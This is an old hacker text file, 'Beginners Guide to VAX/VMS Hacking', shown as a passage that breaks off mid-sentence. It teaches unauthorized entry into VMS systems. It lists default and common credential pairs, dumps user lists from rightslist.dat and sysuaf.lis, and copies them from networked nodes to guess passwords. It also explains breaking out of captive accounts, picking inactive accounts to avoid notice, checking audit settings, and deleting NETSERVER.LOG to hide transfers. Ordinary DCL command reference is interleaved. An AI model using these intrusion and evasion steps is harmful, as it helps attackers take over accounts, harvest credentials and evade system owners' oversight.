The Hacker's Encyclopedia 1998

home *** CD-ROM | disk | FTP | other *** search

/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / systems / vaxc.txt < prev next >

Wrap

Text File | 2003-06-11 | 146.8 KB | 3,351 lines

+----------------------------------------------------------------------------+ ! Beginners Guide to VAX/VMS Hacking ! ! ! ! File By ENTITY / Corrupt Computing Canada (c) ! ! ! ! ! ! CORRUPT COMPUTING CANADA! ! ! ! ! ! +----------------------------------------------------------------------------+ ! ! ! You may freely distribute this file as long as no modifications of any ! ! form are made to the file. All rights reserved by...What rights?! ! ! ! ! ! +----------------------------------------------------------------------------+ INTRODUCTION ------------ Perhaps the most exciting Operating system to HACK on is VAX/VMS. It offers many challenges for hackers and boasts one of the best security systems ever developed. In comparison to the security on UNIX, VMS is far superior in every respect. It can be very difficult to get inside such a system and even harder to STAY inside, but isn't that what this is all about?! I have written this file as a way for beginning hackers to learn about the VMS operating system. There is such a vast amount of information that can be related about VAX/VMS hacking that it is not possible for me to cover everything in just one file. As such i will try and stick to the basics for this file and hopefully write another file in the future that deals with heavy-duty kernal programming, the various data structures, and system service calls. All right so lets get at it! GETTING IN ---------- First of all how do you recognize a VAX when you see one?! Well the thing that always gives a VAX away, is when you logon you will see: Username: It may also have some other info before it asks you for the username, usually identifying the company and perhaps a message to the effect of: Unauthorized Users will be prosecuted to the fullest extent of the law! That should get you right in the mood for some serious hacking! Ok so when you have determined that the system you have logged into is indeed a VAX, you will have to at this point enter your SYSTEM LOGIN. Basically on VAX's there are several default logins which will get you into the system. However on MOST systems these default logins are changed by the system manager. In any case, before you try any other logins, you should try these (since some system managers are lazy and don't bother changing them): Username Password Alternate ------------------------------------------------------------------------------- SYSTEM MANAGER OPERATOR FIELD SERVICE TEST DEFAULT DEFAULT USER SYSTEST UETP SYSTEST DECNET DECNET NONPRIV That's it. Those are the default system users/passwords. The only ones on the list that are GUARANTEED to be in the userlist are SYSTEM and DEFAULT. However, I have never come across a system where these two haven't been changed from their default passwords to something else. In the above list, the alternate password is simply a password many operators set the password to from the deafult. So if the first password doesn't work, try the alternate password. It should be noted when the a user is added into the system, the default password for the new user the SAME as his username. You should keep this point in mind because it is VERY important. Most of the accounts you hack out, will be found in this way! Ok if above ones don't work, then you should try these accounts. These following accounts are NOT defaults, but through experience i have found that many systems use these accounts or some variation thereof: Username Password --------------------------- VAX VAX VMS VMS DCL DCL DEC DEC * DEMO DEMO * TEST TEST * NETNONPRIV NONPRIV * NETPRIV PRIV ORACLE ORACLE * ALLIN1 ALLIN1 * INGRES INGRES * GUEST GUEST * GAMES GAMES BACKUP BACKUP * HOST HOST USER USER * DIGITAL DIGITAL REMOTE REMOTE * SAS SAS FAULT FAULT USERP USERP VISITOR VISITOR GEAC GEAC VLSI VLSI INFO INFO * POSTMASTER MAIL NET NET LIBRARY LIBRARY OPERATOR OPERATOR * OPER OPER The ones that have asterisks (*) beside them are the more popular ones and you have a better chance with them, so you should try them first. It should be noted that the VAX will not give you any indication of whether the username you typed in is indeed valid or not. Even if you type in a username that does not exist on the system, it will still ask you for a password. Keep this in mind because if you are not sure if whether an account exists or not, don't waste your time in trying to hack out its password. You could be going on a wild goose chase! You should also keep in mind that ALL bad login attempts are kept track of and when the person logs in, he is informed of how many failed attempts there were on his account. If he sees 400 login failures, I am sure that he will know someone is trying to hack his account. THE BASICS ---------- Ok i am assuming you tried all the above defaults and managed to get yourself into the system. Now the real FUN begins! Ok first things first. After you log in you will get some message about the last time you logged in etc. If this is the first time you have logged into this system then you should note the last login date and time and WRITE IT DOWN! This is important for several reasons. The main one being that you want to find out if the account you have just hacked is an ACTIVE or INACTIVE account. The best accounts are the inactive ones. Why?! Well the inactive accounts are those that people are not using currently, meaning that there is a better chance of you holding onto that account and not being discovered by the system operator. If the account has not been logged into for the last month or so, theres a good chance that it is inactive. Ok anyhow once your in, if you have a normal account with access to DCL you will get a prompt that looks like: $ This may vary from machine to machine but its usually the same. If you have a weird prompt and would like a normal one, type: $set prompt=$ If this is the first time you have hacked into this system there are a couple of steps you should take immediately. First type: $set control=(y,t) This will enable your break keys (like ctrl-c) so that you can stop a file or command if you make a mistake. Usually ctrl-c is active, but this command will insure that it is. (Note: in general to abort a command, or program you can type ctrl-c or ctrl-y) Ok anyhow, the next step is to open the buffer in your terminal then type: $type sys$system:rightslist.dat This will dump a file that has all the systems users listed in it. You may notice a lot of weird garbage characters. Don't worry about those, that is normal. Ok after this file ends and you get the shell prompt again ($) then save the buffer, clear it out and leave it open. Then type: $show logical Ok after this file is buffered save it also. Ok at this point you have two files on your disk which will help you hack out MORE accounts on the system. For now, lets find out how powerful the account you currently hacked into is. You should type: $set proc/priv=all This may give you a message telling you that all your privileges were not granted. That's ok. Now type: $show proc/priv This will give you a list of all the privileges your account is set up for. Usually most user accounts only have NETMBX and TMPMBX privs. If you have more than these two, then it could mean that you have a nice high-level user. Unlike UNIX which only has a distinction between user and superuser, VMS has a whole shitload of different privileges you can gain. The basic privs are as follows: PRIVILEGE DESCRIPTION ------------------------------------------------------------------------------ NONE no privilege at all NORMAL PRIVS ------------ MOUNT Execute mount volume QIO NETMBX Create network connections (you need this to call out!) TMPMBX Create temporary mailbox GROUP PRIVS ----------- GROUP Control processes in the same group GRPPRV Group access through SYSTEM protection field DEVOUR PRIVS ------------ ACNT Disable accounting ALLSPOOL Allocate spooled devices BUGCHK Make bugcheck error log entries EXQUOTA Exceed disk quotas GRPNAM Insert group logical names n the name table PRMCEB Create/delete permanent common event flag clusters PRMGBL Create permanent global sections PRMMBX Create permanent mailboxes SHMEM Create/delete structures in shared memory SYSTEM PRIVS ------------ ALTPRI Set base priority higher that allotment OPER Perform operator functions PSWAPM Change process swap mode WORLD Control any process SECURITY Perform security related functions SHARE Access devices allocated to other users SYSLCK Lock system-wide resources FILES PRIVS ----------- DIAGNOSE Diagnose devices SYSGBL Create system wide global sections VOLPRO Override volume protection ALL PRIVS --------- BYPASS Disregard protection CMEXEC Change to executive mode CMKRNL Change to kernal mode DETACH Create detached processes of arbitrary UIC LOG_IO Issue logical I/O requests PFNMAP Map to specific physical pages PHY_IO Issue physical I/O requests READALL Possess read access to everything SETPRV *** ENABLE ALL PRIVILEGES!!! *** SYSNAM Insert system logical names in the name table SYSPRV Access objects through SYSTEM protection field Ok that's the lot of them! I will explain some of the more important privileges later in the file. For now, at least you can see just how powerful the account is. It should be noted that most accounts usually are only granted the TMPMBX and NETMBX privileges, so if you don't have the others, don't fret too much. GENERAL TERMINOLOGY ------------------- I think that i should clarify some of the basic concepts involved with VAX/VMS operating systems before we go any further: PROCESS: this is what is created when you log in. The system sets aside CPU time and memory for you and calls it a process. Any task that is run in VMS is called a process. SUBPROCESS: also known as child-process, this is just a process that was created by another process. DCL : Digital Command Language. This is the shell ($) that you are put into when you log into a VAX MCR : an alternate shell that is used (rarely) on certain accounts. Login prompt is a > as opposed to DCL which gives a $ SHELL : this is the '$' that you see once you are logged in. This is your interface with the system, where you can enter the various commands execute files and perform other activities. JOB : a process and a group of its subprocesses performing some task SPAWN : this is the actual command that allows you to create subprocesses 'SPAWNING' is the act of creating subprocesses PID : process identification number. This is an 8 byte ID code that is uniquely given to each process that is created on the system. IMAGE : this is an EXE file that you can execute (ie run) UIC : User identification code. This is in two parts, namely: [group,member] The way this works is that users in the same group can access each others files through the group protection code. However since the UIC MUST uniquely identify each user, the member portion separates the individuals in each group. If an account does not have a different member number, he will NOT be put in the RIGHTSLIST database. CONTROL KEYS ------------ A brief note on control sequences. Several different actions can be activated via control sequences. They are: CTRL-H :delete last character CTRL-B :redisplay last command (can go back up to the last 20 commands issued) CTRL-S :pause display CTRL-Q :continue after pause CTRL-Z :*EXIT* use to break out of things such as CREATE and EDIT CTRL-C :*CANCEL* will exit out of most operations CTRL-Y :*INTERRUPT* will break out of whatever you are doing CTRL-T :print out statistical info about the process NOTE: sometimes upon login, the CTRL-Y, CTRL-C keys are disabled. To ensure these are enabled, issue this command upon login: $ SET CONTROL ------------------------------------------------------------------------------- NOTE: all the commands that are executed from DCL can be referenced from an online help manual. To access this, simply type help at any '$' prompt This help is also available within the various utilities and programs such as authorize and mail. The two MOST important commands are SET and SHOW. These should be buffered and printed out for your own reference. ------------------------------------------------------------------------------- FILES and DIRECTORIES --------------------- The directory structure of VMS is a heirarchical one similar to MS-DOS and UNIX. Its a simple concept, and i will only briefly skim over it. First of all it should be noted that there may be more than one hard drive or other mass-storage device hooked up to your system. Within each hard drive there is the ROOT directory. This is the highest directory in the tree and is referenced by [000000]. (this will be explained in a minute) Within the root there are several subdirectories. Within these subdirectories there may be files and even further subdirectories. The concept is quite simple, but can be difficult to explain. Here is a diagram to give you a rough idea of how it is set up: [000000] <--root directory ! ! +--------------------------+---------------------------------+ ! ! ! ! ! ! [d1] [d2] [d3] ! ! ! +-----+--------+ +-----+-----+ +--------+ ! ! ! ! ! ! ! ! ! ! ! ! [d3.d3a] [d3.d3b] [d1.da] [d1.db] [d1.dc] [d2.d2a] [d2.d2b] ! ! ! ! ! +--+-----------+ [d1.db.db1] [d2.d2a.d2a1] ! ! [d2.d2b.d2b1] [d2.d2b.d2b2] Hopefully this will give you some sort of an idea of how the directories can be structured. Within each subdirectory there may be other files also. For example to see the directory after you log in you would type: $dir a sample result may be: Directory DISK$SCHOOL:[REPORTS.JOHN] average.com;3 generate.exe;1 mail.mai;10 marks.dat;4 marks.dat;5 reportcard.dir projects.dir Total 7 files. What does this tell you? The first line tells you what drive and subdirectory you are in. The next lines are the actual files. As you can see each file has a 3 character extension, followed by a comma and a number. The name before the period is the actual filename (eg. average) the 3 characters after the period is known as the extension (eg.com) and the number after the comma refers to the version of the file. So in this case, this is version number 3. Any time you modify or save a file, it automatically assigns it a version number of 1. If file already exists on your disk, it increments the version number by 1 and then saves it as such. So the next time i go ahead and save the file average.com, it would add another file to the list called average.com;4 Special note should be taken of the files that have an extension of '.DIR' These are not really files, but rather subdirectories. I will show you how to switch subdirectories in just a minute. First you should take note of the different file extensions. Although you can name the files anything you want some of the more important extensions are: TYPE DESCRIPTION ------------------------------------------------------------------------------- EXE Executable IMAGE. These files are programs that can be RUN COM DCL SCRIPT files. These can also be executed, utilizing the @ command DAT DATA file. Sometimes useful things to look at. LIS Listing File, many times important info is in here MAI Mail file, use the MAIL command to read these DIR DIRECTORY - not a file JOU Journal File, often created thru the use of other programs eg EDIT TXT Text Files, often hold useful information. These are just some of the extensions you are most likely to see. The two important ones are the EXE and COM files. These can be executed from the DCL level. EXE files are executed via the RUN command. Eg. to run authorize.exe: $run authorize This will run the authorize IMAGE. Supposing there were more than one version of authorize you could specify a version number. eg. $run authorize.exe;4 The other type of file you can run is the COM files. These are like SCRIPT files in UNIX or .BAT files from MS-DOS. They are just a sequence of DCL commands strung together that are executed when you initiate the file. To run COM files, use the @ command. For example to run adduser.com, type: $@adduser The version number thing i stated for EXE files also applies for COM files. ***NOTE*** To get a listing of all the files on the whole drive, try this: $sd [000000] $dir [...]*.* Similarly you type dir [...]*.com, if you wanted just the COM files listed. To see the contents of a file, you can use the TYPE command. For example: $type login.com this might type out something like: $ sd:==set default $ set control=(y,t) $ set proc/name=entity $ set term/dev=vt100 : : : etc This is great for COM files, DAT files and some of the other types, but you will always get garbage when you type EXE files so don't bother trying those. This is very useful for snooping around other peoples files and getting information. Many times i have found user/passwords lying around in TXT or LIS files left by some careless user. Now, how do you go about changing directories? Well, first you should set up a shortcut. The normal command to change directories is SET DEFAULT. For example to change to a subdirectory called REPORTS, you would have to type: $set default [.reports] To make life simpler on yourself, as soon as you log in, you should type: $sd:==set default This defines a macro called SD that is interpreted by DCL as SET DEFAULT. You can similarly define other 'favorite' commands to some short, easy to remember definition. Anyhow heres the syntax for changing directories: SD DEVICE:[dir1.dir2.dir3....] The device can be optionally left out, if you plan to remain in the same hard drive. You have to then enter a '[' followed by the root directory, followed by a period, followed by another subdirectory name etc. Eg. $sd dub0:[cosy.users] Suppose at this point, you were in directory cosy, subdirectory users and there was a further subdirectory called 'info.dir'. Rather than specify the full pathname, you can simply type: $sd [.info] This will advance you one level into the info subdirectory. Remember to put the period in front of the subdirectory. If you don't, in this case it would assume that you were trying to reference the root directory called info. Another important thing to note is moving back levels in terms of subdirectories. For example if you were in [cosy.users.info] and wanted to move back to [cosy.users] you could type: $sd [-] Similarly you can put in as many hyphens (-) as you want to move back. For example sd [--] would put you back to the cosy directory. Another important thing to note about subdirectories are logical assigned symbols. These are names assigned to certain things. For example the main system directory is called sys$system. So to go to it you could type: $sd sys$system This would throw you into the system directory. Similarly you can type: $sd sys$login and this will put you back into the directory that you were initially in, when you first logged in. These symbols stand for actual device:directory combinations. To see the various definitions that are assigned to each process you should type: $show logical This will list a whole bunch of global system equates that you can use to access various parts of the VAX structure. In addition to view all of your locally defined symbols, use: $show symbol * FILE PROTECTION --------------- Ok before i begin this, let me just state that whatever i say about files also applies to directories. There are four types of file protections. There is SYSTEM,WORLD,GROUP and OWNER. These are briefly: SYSTEM- All users who have group numbers 0-8 and users with physical or logical I/O privileges (generally system managers, system programmers, and operators) OWNER - the owner of the file (or subdirectory), isolated via their User Identification Code (UIC). This means the person who created the file! GROUP - All users who have the same group number in their UICs as the owner of the file. WORLD - All users who do not fall in the categories above Each file has four types of protection within each of the above categories. They are: Read, Write, Execute, Delete. Explanations are: READ - You can read the file and copy it. WRITE - You can modify and rename that file. EXECUTE- You can run the file DELETE - You can delete the file When you create a file the default is that you have all the privileges for that particular file. Group, world and system may only have limited privileges. This can be changed with the set protection DCL command. For example: $set protection=(group:rwed,world:r)/default would set your default protection to allow other users in your group to have full read,write,execute,delete privs to the file, and others only read access to the file. The /default means that from now on all the files you create will be set with this particular protection. To change one of your own files to some other protection you can alternatively use: $set prot topsecret.dat /prot=(system:rwed,group:rwed,world:rwed,owner:rwed) This would enable all users on the system to access the file 'topsecret.dat' When specifying the protection, you do not have to list them for each of the four groups. You can simply choose only those that you want changed from your default. EDITING FILES ------------- An important utility that all VAX hackers should be familiar with is the EDT text editor. To call it up, use the EDIT DCL command. ie: $edit [filename] This will invoke the EDIT/EDT text editor. The [filename] refers to the file that you want to edit. If the file does not exist, it is created at this point. The EDT editor does not provide a default file type when creating files, so if you do not specify one, it will leave it as NULL. It should be noted that there is more than just the EDT editor, but when you type in EDIT, the default is /EDT. Basically it is an editor that you can use to create/modify COM or any other type of text files. After the editor is invoked, it keeps track of everything that you enter in a JOU file. In case of lost carrier or some other accident, you can recover what you had by specifying the /RECOVER qualifier. For example: $edit/recover memo.dat This would take the last copy of memo.dat, load it into memory, then process your last JOU file, updating it to virtually exactly where you were before you got cut off. Journaling is automatically defaulted to ON, but can be turned off with the /NOJOURNAL qualifier. For a description of what all the qualifiers are, and what they do, refer to the online HELP manual. Ok here is a list of the basic commands you can perform in the EDT editor: -------------------------------------------------------------------------------- X (where X = line number)............show line X only X:Y (where X,Y = line numbers).........show line X through line Y A,B,C,D (a,b,c,d = line numbers).......list lines A,B,C,D X:e ...................................list from X to end T W ...................................TYPE WHOLE. List ALL of the text lines S/string1/string2/W....................substitute ALL occurrences of string1 for string2 as they occur from current line number downwards "string" ..............................search for first occurrence of string from current line downwards T A "string" ..........................type all occurrences of string from current line downwards X:Y a "string" ........................search for occurrences of string within range denoted by X through Y D X ...................................Delete line X D X:Y .................................Delete line X through Y, inclusively I .....................................insert a line I X ...................................insert from line X M X:Y to Z ............................move lines X through Y to line Z RES ...................................resequence line numbers RES/SEQ:X:10 ..........................resequence from line X in intervals of 10 R X ...................................replace from line X. This deletes the current line and automatically goes into insertion mode. EXIT ..................................leave the editor, and SAVE the current text. QUIT ..................................leave the editor and DO NOT SAVE the current text. -------------------------------------------------------------------------------- A sample editing session is shown: $edit lame.txt * i hi this is just some bullshit text to test out how this EDIT program works. Oh well, easy enough. bye! <hit ctrl-z> *exit $type lame.txt hi this is just some bullshit text to test out how this EDIT program works. Oh well, easy enough. bye! $del lame.txt;* COMMANDS -------- In this section i will outline some of the more important commands that you can issue from the DCL level. This is not meant to be a complete guide. I will merely point out some of the more important commands and a very brief description. Proper help can be obtained from the online HELP facility. NOTE: It should be noted that each of the following commands may have further ----- qualifiers that you can specify. You should check up on these from the online help also. @ -Lets you execute COM script files ACCOUNTING -allows you to view and edit system accounting data that keeps track of what system time you have racked up. ANALYZE -lets you view the contents of OBJ files in HEX/ASCII format. ANALYZE/SYSTEM -Invokes the SDA. VERY VERY USEFUL!! Allows you to view other running processes, their type-ahead buffers etc. APPEND -appends the contents of file1 to file2 ATTACH -allows you to attach yourself to one of your subprocesses CLOSE -closes a file that was opened for input/output via OPEN CONTINUE -continue a process that you have aborted with control-y COPY -copy file1 to file2. You can specify full pathnames, with device and subdirectory. If you want to copy it to your home directory just use sys$login as your 'TO' file. CREATE -create a text file of any type. Eg. you want to create a simple COM file or perhaps a letter to another hacker on the system. (you shouldn't be using MAIL to send messages!) CREATE/DIR -If you want to create a subdirectory DELETE -delete a filename. Remember to specify a version number when you are deleting a file or it wont work.eg. del garbage.com;1 DELETE/INTRUSION_RECORD -gets rid of the failed password attempts DIFFERENCES -compares two files and notifies you of their differences DIRECTORY -get a directory of the files. Various qualifiers can be chosen DUMP -get a hex/ascii file dump EDIT/EDT -invokes the VAX EDT interactive text editor EXAMINE -view the contents of virtual memory HELP -ONLINE HELP MANUAL. REFER TO IT OFTEN! LINK -link object files into EXE files that you can run LOGOUT -the proper way to terminate a session PHONE -Allows you to chat with another user on the system. It is not recommended that you use this, except with fellow hackers. RENAME -rename a file or directory RUN -lets you execute EXE files SET CONTROL -disables/enables interrupts via ctrl-y/ctrl-c SET DEFAULT -change directories SET HOST -allows you to connect to another mainframe SET PASSWORD -change the password of your account SET PROCESS -change the characteristics of your process SET PROMPT -change the prompt ($) SET TERMINAL -change your terminal characteristics SHOW ACCOUNTING -show the current security/accounting enabled SHOW AUDIT -show SECURITY enabled SHOW DEFAULT -see your current directory. (Like PWD in UNIX) SHOW DEVICES -check out the system setup SHOW INTRUSION -view the contents of the breakin database SHOW LOGICAL -current logical name assignments SHOW NETWORK -lists all the available nodes that you can connect to SHOW PROCESS -View your process settings SHOW PROTECTION -show the default protection you have set SHOW SYSTEM -useful to see the running processes SHOW TERMINAL -display your terminal characteristics SHOW USERS -see who else is logged in. SPAWN -spawn a subprocess STOP -kill off a subprocess TYPE -view a file This should give you a general overview of some of the more important commands that you can use. It would be impossible for me to list ALL the commands, and their descriptions, so i suggest that you go through the online HELP facility and familiarize yourself with the syntax of some these commands. HACKING ------- Up to this point i have mainly discussed the basic concepts involved with VMS. By now you should be familiar and comfortable with the various DCL commands and how to accomplish certain tasks. If you are still sketchy, go back and re-read the sections you don't understand. You may also want to log into a VAX and just try fiddling around in the shell getting used to how the whole thing works. In this section i will discuss some of the techniques that you may find useful in hacking out accounts, calling out to remote systems, and gaining access to confidential information. Lets start from the top: When you first login to the system, after it accepts your password etc, it executes the SYLOGIN.COM file. Then it searches your default directory for the file LOGIN.COM (this may be changed by the system manager if he wishes) This file basically sets up your terminal parameters and perhaps some macros that you wish to be defined. It may or may not also execute some utility. BYPASSING LOGIN.COM ------------------- Sometimes it may be useful to be able to skip the login procedures. For example if the system automatically runs some file as soon as you log in, and doesn't put you into the shell, this technique can be used: Username: entity/nocomm Assuming the user was named entity, if you put a /nocomm qualifier, it will skip the login.com file and put you directly into DCL. Similarly you can specify some other file you want executed instead of login.com. eg. Username: entity/comm=custom.com This will execute the custom.com file upon entry into the account. It should be noted that these methods WILL NOT WORK on a CAPTIVE account. What is a captive account?! Read on... CAPTIVE ACCOUNTS ---------------- Many times, in an attempt to make an account more secure the system manager sets the captive flag to ON, in the users profile. What this means is that when you log in, you cannot break out of the login file into the DCL shell. This means that although you can hit ctrl-y and it may even say *interrupt* it will not actually abort the file. So how do you exit to DCL?! Well there are a few ways. Usually accounts set up in this manner are used to allow the user to connect to other nodes. If this is the type of account that you have logged into then try the following: First choose an option from the menu that they present that allows you to call any node. When it says something like %connected to... then hit two ctrl-y in quick succession. It will then ask you if you want to really abort the current session. Type Y and it will put you at a prompt that looks like: PAD> At this point you should type in SPAWN and it will spawn a process and throw you into the DCL Shell. This is a major security flaw in VMS and can be put to good use on many a system. GAINING PRIVILEGES ------------------ On most systems that you hack into, you will find yourself with only TMPMBX and NETMBX privileges. To see your privs type: $show proc/priv These however may not be all the privileges that you have assigned. Upon login, the system only assigns you your default privileges. On some accounts you may have more than just these privileges. To see if you do, type: $set proc/priv=all if this doesn't give you any error message then you have found yourself a SYSTEM account! With this account you can create new users, change the security setup read other peoples files etc. Here are a list of some of the more important privileges and what they can be used for: CMKRNL -change to kernal mode. Very Powerful privilege!! SETPRV -allows you to become a Super-User. You can do whatever you want! READALL -allows you to read other peoples files and directories regardless of the protection OPER -allows you to perform many useful operator functions (security etc) SYSPRV -You can gain the same UIC as the system and access just about anything you want. Create/modify accounts NETMBX -allows you to call out on the network to other systems BYPASS -this allows you to view network passwords, and to bypass all types of protection fields These are just some of the more important ones to the hacker. For a complete list of all the privileges and what each one does, see the list i presented earlier in the file. One important note: It is not possible to gain privileges that are not set up in your default from the DCL level. There is one way to gain ALL privileges on ANY Vax but it involves some serious kernal programming. I could outline the program here but i chose not to. The reason for this is that many people would abuse the system if they had access to wiping out hard drives and totally trashing the system. If you work from the ground up, you begin to realize just how important gaining extra access is. You begin to respect the VMS system for what it is. A system account in the hands of novice is a very dangerous thing indeed, and my suggestion is that if you have a SYSTEM account that has more than just the default privileges that you should disable them. This will only help you from making any mistakes and screwing up the system. To do this type: $set proc/priv=noall $set proc/priv=(tmpmbx,netmbx,readall) With these privileges you should be able to easily navigate throughout the system without messing anything up. Keep one thing in mind, don't delete files unless you have created them! People will notice things like this and you are guaranteed to lose your account. Once you are an experienced hacker you may wish to create a program that gives you more privileges. To get you started in this direction i will give you an excerpt out of the 'VAX/VMS internals and data structures' manual: If a process wishes a privilege that is not in its authorized list, one of two conditions must hold or the requested privilege is not granted. 1)The process must have SETPRV privilege. A process with this privilege can acquire any other privilege with either the set privilege system service or DCL command SET PROCESS/PRIVILEGES. 2)The system service was called from executive or kernal mode. This mechanism is an escape that allows either VMS or user-written system services to acquire whatever privileges they need without regard for whether the calling process has SETPRV privilege. Such procedures must disable privileges granted in this fashion as part of their return path. That should give you an idea of what is necessary to go about writing a program that grants you extra privileges. For those advanced programmers, here is the relevant information: Symbolic name Location Usage Referenced By ---------------+------------------+------------------------------+------------- PHD$Q_PRIVMSK !process header !working privilege mask !system srvc's PCB$Q_PRIV !PCB !same as phd$q_privmsk !device driver CTL$GQ_PROCPRIV!P1 Pointer page !permanently enabled privs !SET UIC PHD$Q_AUTHPRIV !process header !procs allowable privs !$setprv PHD$Q_IMAGPRIV !process header !mask for enhanced priv images !$setprv UAF$Q_PRIV !sysuaf.dat !UAF allowable privs !LOGINOUT KFI$Q_PROCPRIV !priv install image!image installed with privs !image actvatr IHD$Q_PRIVREQS !image header !unused - set for all privs! !image actvatr ---------------+------------------+------------------------------+------------- ONLINE SECURITY --------------- Version 4.2 of VMS introduced the security auditing features. These features can be used to track down hackers and illegal use of the machine. Things such as access to files, login failures, process creation, adding users etc can all be monitored and logged. After you have logged into an unknown system, it is wise to check what kind of security they have enabled on the system. This is done in two ways. First you should try: $show accounting Normally this will either say accounting is disabled or will have a list of items that are being monitored. This is used mainly for charging the users for CPU time etc. What you should check for in this list is if IMAGE accounting is enabled. If it isn't, then you can relax. If it is, you know that you have a smart system manager here and you will have to take extra precautions when fiddling around on this machine. The second thing you should check is the actual level of security enabled. Generally this feature is disabled, and you have nothing to worry about. To see the security type: $show audit One thing to note is that you must have the SECURITY privilege to issue this command. An especially secure system may have things such as breakins, logins, logfailures, file access (both successes and failures),and authorization checks. These systems require a tremendous amount of care, and are not a good place to start learning about VMS. Another important thing that you should keep in mind is that VAX/VMS stores information about login failures (invalid password, account expired, unknown username). A security manager can identify possible breakin attempts by using: $show intrusion/type=intruder This command requires the CMKRNL and SECURITY privileges. An interesting thing to note is that the system manager can have the VAX do certain things after it has determined that the user trying to log in is not legitimate. For example it can block all login attempts from a certain terminal, or it could turn off accepting passwords for a certain account for a specified period of time. So lets suppose you were hacking an account and after 10 tries actually entered the right password. If the intrusion alert is set at 5 tries, then even if you enter the correct password, it wont let you in!! EXPIRED PASSWORDS ----------------- I want to make a quick note here about expired passwords. Often you will find after logging into an account that it will say that your password has expired and for you to enter a new password. At this point you should check when was the last date of access. If it was only a few days ago, then you should forget about this account. If it more than a few weeks ago, then you have found your- self an INACTIVE account (ie one that is not in use anymore) The first thing that you should do is set a new password. For example: $set password Passwords can be from 1-31 characters in length and can contain the following characters: A-Z a-z 0-9 $ (dollar sign) _ (underscore) Note that uppercase, and lowercase are not differentiated (unlike UNIX). The reason that you should enter a password at this point is that if you don't, the next time the account will not let you log in since the password has expired. GAINING MORE ACCOUNTS --------------------- Once you have managed to hack onto a VAX, often you will want to gain more accounts on the system. There are several ways to go about doing this. The first way is to get a list of all the users on the system. Remember that the default password for any account is the same as the username. Well if you have a list of users, theres a good chance you may find a few who haven't bothered to change their passwords. There are a few methods of viewing the userlist. The simplest, but least readable way is to: $type sys$system:rightslist.dat and buffer the incoming information. You will notice some garbage characters also sent through. The way this file is set up is a 1-2 byte character ID followed immediately by a 32 byte string with the username. So to pick out the usernames, simply ignore the first character from each name, and then you have the usernames. There is one small problem to this. Sometimes the character ID in front of the name is a SPACE. In this case, you would still skip the first character (which is a space), but in viewing the name you would take all the characters. So you just have to use your judgement when looking at this list to determine whether the string is the whole name, or whether it has an ID code stuck in the beginning. The problem is that the ID code is not necessarily a garbage character, it could be any valid ascii character (spaces,letters, numbers etc) The thing that you should keep in mind is that these ID codes are grouped together, so you may see several names that all start with 'A' and you can assume that this is the ID and not part of the actual name. Another method which is a bit slower, but a lot neater is to use the DUMP command on the rightslist file: $dump sys$system:rightslist.dat This is quite useful, because it automatically strips away control characters, and puts each name into a separate record which makes it easy to isolate the proper login names. An alternative method is to run the psi$authorize file from the system dir. To do this, type: $mc psiauthorize When you get the PSI-authorize prompt, type: PSI-authorize> show /id * This will list all the users on the system. The drawback to this method is that the system that you are on, may have taken out the PSI utilities from the system directory. The PSI utilities are used mainly for remotely connecting to other mainframes. A third method to get a listing of all the users is to go through the sysuaf database. On most accounts this is usually not possible , since most users do NOT have read/write access to sysuaf.dat. If you DO have access to this file (ie you have readall or setprv etc) then you can run authorize: $sd sys$system $run authorize Then when you get the UAF prompt, type: UAF>show [*,*] /brief The added bonus of doing it this way is that you can also find out things such as the users home directory, when was the last time they logged in, what their privileges are etc. Easy to isolate the good accounts on the system that you may want to hack at. It should be noted however, that if you CAN perform this command, then you also have the priv's to create your own user, or better yet change the password on an inactive account. There is another possibility that sometimes works on many systems. Often, the system manager uses the LIST command from AUTHORIZE and what it does is produce a user listing in the file called: SYSUAF.LIS in the SYS$SYSTEM directory. If he has done this, unless he explicitly changes the protection on the file, this file has WORLD READ access. In other words, anyone can go in and type out the file. To do this try: $type sys$system:sysuaf.lis Ok so lets assume that you have used one of these methods and have come up with a list of all the users on the system. Now comes the tedious part. What you have to do is log back into the system, and try each of the names out. For the password, enter the same thing as you did for the username. This is a long and boring process depending on how large the userbase is, but it usually yields a few good accounts. Another interesting variation on this, is to get accounts on remote nodes that are linked with your VAX. To see other nodes that are accessible from your VAX, type: $show net This will produce a listing like: VAX/VMS Network Status for local node 2.161 NORTELCOM on 01-SEP-1989 The next hop to the nearest area router is node 2.62 BELCAN Node Links Cost Hops Next Hop to Node 2.161 NORTELCOM 0 0 0 Local -> 2.161 NORTELCOM 2.6 JANUS 0 3 3 UNA-0 -> 2.6 JANUS 2.2 LUMPY 0 9 5 UNA-0 -> 2.2 LUMPY 2.3 SBSU 0 5 4 UNA-0 -> 2.3 SBSU 2.4 AURORA 0 4 4 UNA-0 -> 2.4 AURORA Total of 5 nodes. This is a sample output that you would see on your screen. Let me give a brief explanation of what each column means. The first column shows the node address and the NodeName. The node name is the most important to the VAX hacker since that is how you will be contacting the remote node. LINKS shows the number of logical links between the local node and each available remote node. COST shows the total line cost of the path to a remote node. HOPS shows the number of intermittent nodes plus the target node. NEXT HOP TO NODE shows the outgoing physical line used to reach the remote node. The important item from this list of course is the node name. By referencing this you can connect to other nodes. A nice technique that allows you to get user accounts on other nodes without actually having access to the node employs this idea. For example, if you want to find out the user list of a node SBSU, you could type: $copy sbsu::sys$system:rightslist.dat sys$login This will then transfer the rightslist from the other node to your login directory, giving you a list of all the users on the other system that you can hack out. It should be noted that copying files from another node will create a file on the remote node indicating your transfer. To get rid of this, log onto the remote node and delete the file called NETSERVER.LOG (just delete the file versions that you have created, and leave the others alone!) There is another useful trick that sometimes yields more USER accounts on other systems. Try typing: $show logical This will present you with a giant list of what seem like symbol equates. What you should look for in here is something that accesses a file in another system eg. "mainuaf"=sbsu::sys$system:sysuaf.dat Many times, a user/password combination is hidden among these definitions. To find these, simply search the file for occurrences where they have a nodename such as SBSU followed by a quote and some info. An example: "mainuaf"=sbsu"system manager"::sys$system:sysuaf.dat The important part is the info in quotes after the node name. The first item (before the space) is a username, and the word after the space is the password. It is rare to find such an occurrence, but it should not be overlooked, since it can sometimes yield high system level accounts. In this example, node SBSU has a user called SYSTEM, who's password is MANAGER. DECNET and PSI -------------- If you do a SHOW NET and it gives you a list of other nodes, you can connect to these nodes using the SET HOST command. For example to connect to node SBSU: $set host sbsu This will then connect you to SBSU, and you have to go through their login procedure also. An interesting trick to note is, lets suppose that you have hacked an account out on node SBSU. What you want to find out is the DATAPAC or TELENET address of the machine. To do this use: $mc ncp tell sbsu sh known dte This will then give you the address of the machine, so that you can call it directly rather than through this VAX. You may want to do this to increase speed, since obviously calling through another VAX slows things down a 